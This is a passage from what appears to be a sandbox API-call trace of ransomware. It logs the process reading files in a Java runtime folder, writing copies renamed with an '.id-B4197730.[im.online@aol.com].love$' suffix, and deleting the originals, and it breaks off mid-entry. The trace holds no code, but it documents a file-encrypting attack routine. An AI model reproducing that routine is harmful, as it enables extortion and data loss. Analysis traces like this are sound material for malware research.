lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0231.372] lstrlenW (lpString=".jpg") returned 4 [0231.372] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0231.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0231.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0231.372] lstrlenW (lpString=".doc") returned 4 [0231.372] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0231.372] lstrlenW (lpString=".docx") returned 5 [0231.372] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0231.372] lstrlenW (lpString=".pdf") returned 4 [0231.372] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0231.372] lstrlenW (lpString=".xls") returned 4 [0231.372] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0231.373] lstrlenW (lpString=".xlsx") returned 5 [0231.373] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0231.373] lstrlenW (lpString=".ppt") returned 4 [0231.373] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0231.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0231.373] lstrlenW (lpString=".zip") returned 4 [0231.373] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0231.373] lstrlenW (lpString=".rar") returned 4 [0231.373] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0231.373] lstrlenW (lpString=".bz2") returned 4 [0231.373] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0231.373] lstrlenW (lpString=".7z") returned 3 [0231.373] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0231.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0231.373] lstrlenW (lpString=".dbf") returned 4 [0231.373] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0231.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0231.373] lstrlenW (lpString=".1cd") returned 4 [0231.373] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0231.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0231.373] lstrlenW (lpString=".jpg") returned 4 [0231.373] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0231.373] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0231.373] lstrlenW (lpString="messages.properties") returned 19 [0231.374] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0231.710] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=2860) returned 1 [0231.710] CloseHandle (hObject=0x46c) returned 1 [0231.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20 [0231.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0232.155] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0232.728] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.728] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.728] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0232.729] GetLastError () returned 0x0 [0232.729] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0xb2c, lpOverlapped=0x0) returned 1 [0232.773] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xb30, lpOverlapped=0x0) returned 1 [0232.774] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.774] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xfa, lpOverlapped=0x0) returned 1 [0232.774] SetEndOfFile (hFile=0x488) returned 1 [0232.774] CloseHandle (hObject=0x488) returned 1 [0232.774] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.774] SetEndOfFile (hFile=0x3bc) returned 1 [0232.779] CloseHandle (hObject=0x3bc) returned 1 [0232.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0232.781] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 1 [0232.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0232.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0232.781] lstrlenW (lpString=".doc") returned 4 [0232.782] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0232.782] lstrlenW (lpString=".docx") returned 5 [0232.782] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0232.782] lstrlenW (lpString=".pdf") returned 4 [0232.782] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0232.782] lstrlenW (lpString=".xls") returned 4 [0232.782] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0232.782] lstrlenW (lpString=".xlsx") returned 5 [0232.782] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0232.782] lstrlenW (lpString=".ppt") returned 4 [0232.782] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0232.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0232.782] lstrlenW (lpString=".zip") returned 4 [0232.782] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0232.782] lstrlenW (lpString=".rar") returned 4 [0232.782] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0232.782] lstrlenW (lpString=".bz2") returned 4 [0232.782] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0232.782] lstrlenW (lpString=".7z") returned 3 [0232.782] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0232.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0232.782] lstrlenW (lpString=".dbf") returned 4 [0232.782] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0232.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0232.782] lstrlenW (lpString=".1cd") returned 4 [0232.782] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0232.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0232.782] lstrlenW (lpString=".jpg") returned 4 [0232.782] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0232.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0232.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0232.783] lstrlenW (lpString=".doc") returned 4 [0232.783] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0232.783] lstrlenW (lpString=".docx") returned 5 [0232.783] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0232.783] lstrlenW (lpString=".pdf") returned 4 [0232.783] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0232.783] lstrlenW (lpString=".xls") returned 4 [0232.783] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0232.783] lstrlenW (lpString=".xlsx") returned 5 [0232.783] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0232.783] lstrlenW (lpString=".ppt") returned 4 [0232.783] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0232.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0232.783] lstrlenW (lpString=".zip") returned 4 [0232.783] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0232.783] lstrlenW (lpString=".rar") returned 4 [0232.783] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0232.783] lstrlenW (lpString=".bz2") returned 4 [0232.783] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0232.783] lstrlenW (lpString=".7z") returned 3 [0232.783] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0232.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0232.783] lstrlenW (lpString=".dbf") returned 4 [0232.783] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0232.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0232.783] lstrlenW (lpString=".1cd") returned 4 [0232.783] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0232.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0232.783] lstrlenW (lpString=".jpg") returned 4 [0232.783] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0232.784] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0232.784] lstrlenW (lpString="messages_ko.properties") returned 22 [0232.784] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0232.784] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=5712) returned 1 [0232.785] CloseHandle (hObject=0x3bc) returned 1 [0232.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20 [0232.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0232.785] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0232.785] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.785] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.786] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0232.788] GetLastError () returned 0x0 [0232.788] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x1650, lpOverlapped=0x0) returned 1 [0232.790] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x1660, lpOverlapped=0x0) returned 1 [0232.791] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.791] WriteFile (in: hFile=0x488, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x100, lpOverlapped=0x0) returned 1 [0232.791] SetEndOfFile (hFile=0x488) returned 1 [0232.791] CloseHandle (hObject=0x488) returned 1 [0232.791] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.791] SetEndOfFile (hFile=0x3bc) returned 1 [0232.796] CloseHandle (hObject=0x3bc) returned 1 [0232.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0232.796] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 1 [0232.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0232.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0232.797] lstrlenW (lpString=".doc") returned 4 [0232.797] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0232.797] lstrlenW (lpString=".docx") returned 5 [0232.797] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0232.798] lstrlenW (lpString=".pdf") returned 4 [0232.798] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0232.798] lstrlenW (lpString=".xls") returned 4 [0232.798] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0232.798] lstrlenW (lpString=".xlsx") returned 5 [0232.798] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0232.798] lstrlenW (lpString=".ppt") returned 4 [0232.798] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0232.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0232.798] lstrlenW (lpString=".zip") returned 4 [0232.798] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0232.798] lstrlenW (lpString=".rar") returned 4 [0232.798] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0232.798] lstrlenW (lpString=".bz2") returned 4 [0232.798] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0232.798] lstrlenW (lpString=".7z") returned 3 [0232.798] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0232.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0232.798] lstrlenW (lpString=".dbf") returned 4 [0232.798] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0232.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0232.798] lstrlenW (lpString=".1cd") returned 4 [0232.798] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0232.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0232.798] lstrlenW (lpString=".jpg") returned 4 [0232.798] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0232.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0232.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0232.799] lstrlenW (lpString=".doc") returned 4 [0232.799] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0232.799] lstrlenW (lpString=".docx") returned 5 [0232.799] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0232.799] lstrlenW (lpString=".pdf") returned 4 [0232.799] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0232.799] lstrlenW (lpString=".xls") returned 4 [0232.799] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0232.799] lstrlenW (lpString=".xlsx") returned 5 [0232.799] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0232.799] lstrlenW (lpString=".ppt") returned 4 [0232.799] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0232.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0232.799] lstrlenW (lpString=".zip") returned 4 [0232.799] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0232.799] lstrlenW (lpString=".rar") returned 4 [0232.799] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0232.799] lstrlenW (lpString=".bz2") returned 4 [0232.799] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0232.799] lstrlenW (lpString=".7z") returned 3 [0232.799] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0232.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0232.799] lstrlenW (lpString=".dbf") returned 4 [0232.799] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0232.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0232.799] lstrlenW (lpString=".1cd") returned 4 [0232.799] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0232.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0232.799] lstrlenW (lpString=".jpg") returned 4 [0232.800] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0232.800] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0232.800] lstrlenW (lpString="messages_pt_BR.properties") returned 25 [0232.800] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0232.990] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=3285) returned 1 [0232.990] CloseHandle (hObject=0x4c0) returned 1 [0233.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20 [0233.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.008] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.009] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.009] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.009] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0234.010] GetLastError () returned 0x0 [0234.010] ReadFile (in: hFile=0x4c8, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0xcd5, lpOverlapped=0x0) returned 1 [0234.056] WriteFile (in: hFile=0x4cc, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xce0, lpOverlapped=0x0) returned 1 [0234.057] ReadFile (in: hFile=0x4c8, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.057] WriteFile (in: hFile=0x4cc, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x106, lpOverlapped=0x0) returned 1 [0234.058] SetEndOfFile (hFile=0x4cc) returned 1 [0234.058] CloseHandle (hObject=0x4cc) returned 1 [0234.058] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.058] SetEndOfFile (hFile=0x4c8) returned 1 [0234.063] CloseHandle (hObject=0x4c8) returned 1 [0234.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0234.064] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 1 [0234.065] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0234.065] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0234.065] lstrlenW (lpString=".doc") returned 4 [0234.065] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0234.065] lstrlenW (lpString=".docx") returned 5 [0234.065] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0234.065] lstrlenW (lpString=".pdf") returned 4 [0234.065] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0234.065] lstrlenW (lpString=".xls") returned 4 [0234.065] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0234.065] lstrlenW (lpString=".xlsx") returned 5 [0234.065] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0234.065] lstrlenW (lpString=".ppt") returned 4 [0234.065] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0234.065] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0234.065] lstrlenW (lpString=".zip") returned 4 [0234.065] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0234.065] lstrlenW (lpString=".rar") returned 4 [0234.065] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0234.065] lstrlenW (lpString=".bz2") returned 4 [0234.066] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0234.066] lstrlenW (lpString=".7z") returned 3 [0234.066] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0234.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0234.066] lstrlenW (lpString=".dbf") returned 4 [0234.066] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0234.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0234.066] lstrlenW (lpString=".1cd") returned 4 [0234.066] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0234.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0234.066] lstrlenW (lpString=".jpg") returned 4 [0234.066] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0234.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0234.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0234.066] lstrlenW (lpString=".doc") returned 4 [0234.066] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0234.066] lstrlenW (lpString=".docx") returned 5 [0234.066] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0234.066] lstrlenW (lpString=".pdf") returned 4 [0234.066] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0234.066] lstrlenW (lpString=".xls") returned 4 [0234.066] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0234.067] lstrlenW (lpString=".xlsx") returned 5 [0234.067] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0234.067] lstrlenW (lpString=".ppt") returned 4 [0234.067] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0234.067] lstrlenW (lpString="C:\\Program 